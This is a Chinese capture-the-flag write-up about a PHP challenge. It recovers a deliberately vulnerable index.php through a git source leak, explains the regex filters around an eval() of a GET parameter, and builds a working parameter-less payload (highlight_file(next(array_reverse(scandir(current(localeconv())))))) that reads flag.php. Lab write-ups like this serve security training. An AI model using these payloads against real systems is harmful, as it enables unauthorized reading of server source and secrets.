打开环境,只看到:flag在哪里呢?
查看源码也没有发现任何有用的内容,直接用工具扫看看,用dirsearch扫完还是没发现。这时想到有没有可能存在源码泄露。
用GitHack试一下,结果真的存在git泄露,并得到一个index.php:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析代码,包含了flag.php,输出:flag在哪里呢? 就是现在的页面。接着GET方式传入exp参数。
* 第一个if是个正则匹配(preg_match() 函数是用来匹配的,如果存在就返回真),过滤了 data/filter/php/phar伪协议,不能以伪协议直接读取文件。
* 第二个if是要求我们有一个’;‘,即表达式前面内容被替换完只剩“;”(preg_replace 函数执行一个正则表达式的搜索和替换)(?R)引用当前表达式,后面加了?递归调用,如果用有参数的函数就会在替换后剩下参数,所以只能匹配通过无参数的函数。 就是只允许:a(b(c())); a();这种格式。
有关递归参考:https://blog.csdn.net/technofiend/article/details/49906755
*第三个if过滤了一些关键字
这样一来,失去了参数,我们进行RCE的难度则会大幅上升。既然getshell基本不可能,那么考虑读源码。看源码,flag应该就在flag.php。我们想办法读取,首先需要得到当前目录下的文件。
scandir()函数可以扫描当前目录下的文件 但是scandir函数要有一个参数呀,这里就有一个localeconv函数了。
localeconv() 函数是用来返回一包含本地数字及货币格式信息的数组,数组第一个值是"."。
但返回的结果为数组类型,就用current()函数 返回数组中的当前单元, 默认取第一个值“.”。 每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。 pos()函数是current()函数的别名。
array_reverse()函数以相反的元素顺序返回数组。
next() 函数将内部指针指向数组中的下一个元素,并输出。
最后用 **show_source()、 highlight_file()、readfile()**三个中的一个函数将结果打印到屏幕。
先构造:?exp=print_r(scandir(current(localeconv())));
会发现当前目录下的flag.php排在倒数第二个位置.这里我们有next函数可以输出数组中内置指针加’1’指向的位置.可是我们无法通过3个next函数得到flag.php因为next函数它的返回类型并不是一个数组.所以换个思路,先将数组倒转过来,然后再通过next函数得到flag.php.接着在对应进行打印输出.
构造payload:?exp=print_r(array_reverse(scandir(current(localeconv()))));
把数组反过来了:
这样就可以把数组反过来了,再加上个next把指针指向下一个,构造:highlight_file(next(array_reverse(scandir(current(localeconv())))));
得到答案。